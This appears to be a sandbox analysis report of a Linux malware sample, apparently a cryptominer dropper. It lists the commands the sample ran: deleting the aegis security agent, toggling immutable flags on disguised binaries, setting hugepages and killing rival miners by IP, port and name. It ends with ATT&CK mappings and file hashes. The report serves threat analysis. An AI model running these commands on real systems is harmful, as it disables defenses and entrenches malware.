/bin/grepgrep hostguard2⤵PID:913
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:911
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:914
-
-
/bin/grepgrep -v grep2⤵PID:912
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:916
-
-
/bin/sleepsleep 12⤵PID:917
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
PID:920
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
PID:921
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
PID:922
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵PID:923
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵PID:924
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
PID:925
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
PID:926
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵PID:927
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
PID:928
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
PID:929
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
PID:930
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
PID:931
-
-
/bin/sleepsleep 12⤵PID:932
-
-
/bin/rmrm -f /tmp/.null2⤵PID:933
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵
- Reads CPU attributes
PID:934
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:937
-
-
/bin/grepgrep 194.87.139.1032⤵PID:936
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:939
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:944
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:942
-
-
/bin/grepgrep 185.71.65.2382⤵PID:941
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:943
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:949
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:947
-
-
/bin/grepgrep 140.82.52.872⤵PID:946
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:948
-
-
/bin/grepgrep -v -2⤵PID:954
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:955
-
-
/bin/grepgrep :232⤵PID:951
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:953
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:952
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:959
-
-
/bin/grepgrep -v -2⤵PID:960
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:958
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:961
-
-
/bin/grepgrep :1432⤵PID:957
-
-
/bin/grepgrep -v -2⤵PID:966
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:967
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:964
-
-
/bin/grepgrep :22222⤵PID:963
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:965
-
-
/bin/grepgrep -v -2⤵PID:972
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:970
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:973
-
-
/bin/grepgrep :33332⤵PID:969
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:971
-
-
/bin/grepgrep -v -2⤵PID:978
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:977
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:976
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:979
-
-
/bin/grepgrep :33892⤵PID:975
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:983
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:985
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:982
-
-
/bin/grepgrep :55552⤵PID:981
-
-
/bin/grepgrep -v -2⤵PID:984
-
-
/bin/grepgrep -v -2⤵PID:990
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:991
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:989
-
-
/bin/grepgrep :66662⤵PID:987
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:988
-
-
/bin/grepgrep -v -2⤵PID:996
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:997
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:995
-
-
/bin/grepgrep :66652⤵PID:993
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:994
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1001
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1003
-
-
/bin/grepgrep :66672⤵PID:999
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1000
-
-
/bin/grepgrep -v -2⤵PID:1002
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1007
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1006
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1009
-
-
/bin/grepgrep :77772⤵PID:1005
-
-
/bin/grepgrep -v -2⤵PID:1008
-
-
/bin/grepgrep -v -2⤵PID:1014
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1012
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1015
-
-
/bin/grepgrep :84442⤵PID:1011
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1013
-
-
/bin/grepgrep -v -2⤵PID:1020
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1018
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1019
-
-
/bin/grepgrep :33472⤵PID:1017
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1021
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1024
-
-
/bin/grepgrep :100082⤵PID:1023
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1027
-
-
/bin/grepgrep -v -2⤵PID:1026
-
-
/bin/grepgrep :135312⤵PID:1030
-
-
/bin/grepgrep -v grep2⤵PID:1029
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1032
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1031
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1036
-
-
/bin/grepgrep :33332⤵PID:1035
-
-
/bin/grepgrep -v grep2⤵PID:1034
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1037
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1033
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1042
-
-
/bin/grepgrep :55552⤵PID:1040
-
-
/bin/grepgrep -v grep2⤵PID:1039
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1041
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1038
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1046
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1047
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1045
-
-
/bin/grepgrep -v grep2⤵PID:1044
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1043
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1051
-
-
/bin/grepgrep log_2⤵PID:1050
-
-
/bin/grepgrep -v grep2⤵PID:1049
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1048
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1052
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1057
-
-
/bin/grepgrep systemten2⤵PID:1055
-
-
/bin/grepgrep -v grep2⤵PID:1054
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1053
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1056
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1062 -
/usr/local/sbin/killkill -9 143⤵PID:1063
-
-
/usr/local/bin/killkill -9 143⤵PID:1063
-
-
/usr/sbin/killkill -9 143⤵PID:1063
-
-
/usr/bin/killkill -9 143⤵PID:1063
-
-
/sbin/killkill -9 143⤵PID:1063
-
-
/bin/killkill -9 143⤵
- Reads CPU attributes
PID:1063
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1061
-
-
/bin/grepgrep netns2⤵PID:1060
-
-
/bin/grepgrep -v grep2⤵PID:1059
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1058
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1068
-
-
/bin/grepgrep voltuned2⤵PID:1066
-
-
/bin/grepgrep -v grep2⤵PID:1065
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1064
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1067
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1073
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1072
-
-
/bin/grepgrep darwin2⤵PID:1071
-
-
/bin/grepgrep -v grep2⤵PID:1070
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1069
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1077
-
-
/bin/grepgrep /tmp/dl2⤵PID:1076
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
- Reads runtime system information
PID:1078
-
-
/bin/grepgrep -v grep2⤵PID:1075
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1074
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1082
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1081
-
-
/bin/grepgrep -v grep2⤵PID:1080
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1079
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1083
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1086
-
-
/bin/grepgrep -v grep2⤵PID:1085
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1084
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1087
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1088
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1093
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1092
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1091
-
-
/bin/grepgrep -v grep2⤵PID:1090
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1089
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1097
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1096
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1095
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1094
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1102
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1103
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1101
-
-
/bin/grepgrep -v grep2⤵PID:1100
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1099
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1108
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1107
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1106
-
-
/bin/grepgrep -v grep2⤵PID:1105
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1104
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1113
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1110
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1112
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1117
-
-
/bin/grepgrep 45.76.122.922⤵PID:1116
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1118
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1114
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1123
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1121
-
-
/bin/grepgrep -v grep2⤵PID:1120
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1119
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1122
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1127
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1128
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1126
-
-
/bin/grepgrep -v grep2⤵PID:1125
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1124
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1133
-
-
/bin/grepgrep 86s.jpg2⤵PID:1131
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1132
-
-
/bin/grepgrep -v grep2⤵PID:1130
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1129
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1138
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1137
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1136
-
-
/bin/grepgrep -v grep2⤵PID:1135
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1134
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1143
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1141
-
-
/bin/grepgrep -v grep2⤵PID:1140
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1139
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1142
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1148
-
-
/bin/grepgrep PuNY5tm22⤵PID:1146
-
-
/bin/grepgrep -v grep2⤵PID:1145
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1147
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1144
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1153
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1152
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1151
-
-
/bin/grepgrep -v grep2⤵PID:1150
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1149
-
-
/bin/grepgrep AgdgACUD2⤵PID:1156
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1158
-
-
/bin/grepgrep -v grep2⤵PID:1155
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1154
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1157
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1163
-
-
/bin/grepgrep -v grep2⤵PID:1161
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1164
-
-
/bin/grepgrep uiZvwxG82⤵PID:1162
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1160
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1169
-
-
/bin/grepgrep hahwNEdB2⤵PID:1167
-
-
/bin/grepgrep -v grep2⤵PID:1166
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1168
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1165
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1175
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1173
-
-
/bin/grepgrep -v grep2⤵PID:1172
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1174
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1171
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1180
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1178
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1179
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1176
-
-
/bin/grepgrep -v grep2⤵PID:1177
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1185
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1183
-
-
/bin/grepgrep -v grep2⤵PID:1182
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1184
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1181
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1189
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1188
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1190
-
-
/bin/grepgrep -v grep2⤵PID:1187
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1186
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1195
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1194
-
-
/bin/grepgrep zXcDajSs2⤵PID:1193
-
-
/bin/grepgrep -v grep2⤵PID:1192
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1191
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1200
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1199
-
-
/bin/grepgrep 3lmigMo2⤵PID:1198
-
-
/bin/grepgrep -v grep2⤵PID:1197
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1196
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1205
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1204
-
-
/bin/grepgrep AkMK4A22⤵PID:1203
-
-
/bin/grepgrep -v grep2⤵PID:1202
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1201
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1209
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1208
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1210
-
-
/bin/grepgrep -v grep2⤵PID:1207
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1206
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1215
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1213
-
-
/bin/grepgrep -v grep2⤵PID:1212
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1211
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1220
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1219
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1218
-
-
/bin/grepgrep -v grep2⤵PID:1217
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1216
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1225
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1224
-
-
/bin/grepgrep http_0xCC0312⤵PID:1223
-
-
/bin/grepgrep -v grep2⤵PID:1222
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1221
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1229
-
-
/bin/grepgrep http_0xCC0322⤵PID:1228
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1230
-
-
/bin/grepgrep -v grep2⤵PID:1227
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1226
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1234
-
-
/bin/grepgrep http_0xCC0332⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1235
-
-
/bin/grepgrep -v grep2⤵PID:1232
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1231
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
1Clear Linux or Mac System Logs
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/zzhs
- Size 2B
- SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
- MD5 b026324c6904b2a9cb4b88d6d61c81d1
- SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
- SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
- MD5 SHA1 SHA512
- Path /usr/bin/irqbalanced
- Size 2B
- SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
- MD5 6d7fce9fee471194aa8b5b6e47267f03
- SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
- SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
- MD5 SHA1 SHA512
- Path /usr/bin/kswaped
- Size 2B
- SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
- MD5 26ab0db90d72e28ad0ba1e22ee510510
- SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
- SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
- MD5 SHA1 SHA512
- Path /usr/bin/pamdicks
- Size 2B
- SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
- MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
- SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
- SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
- MD5 SHA1 SHA512
- Path /usr/bin/rctlcli
- Size 2B
- SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
- MD5 48a24b70a0b376535542b996af517398
- SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
- SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
- MD5 SHA1 SHA512
- Path /usr/bin/systemd-network
- Size 2B
- SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
- MD5 1dcca23355272056f04fe8bf20edfce0
- SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
- SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
- MD5 SHA1 SHA512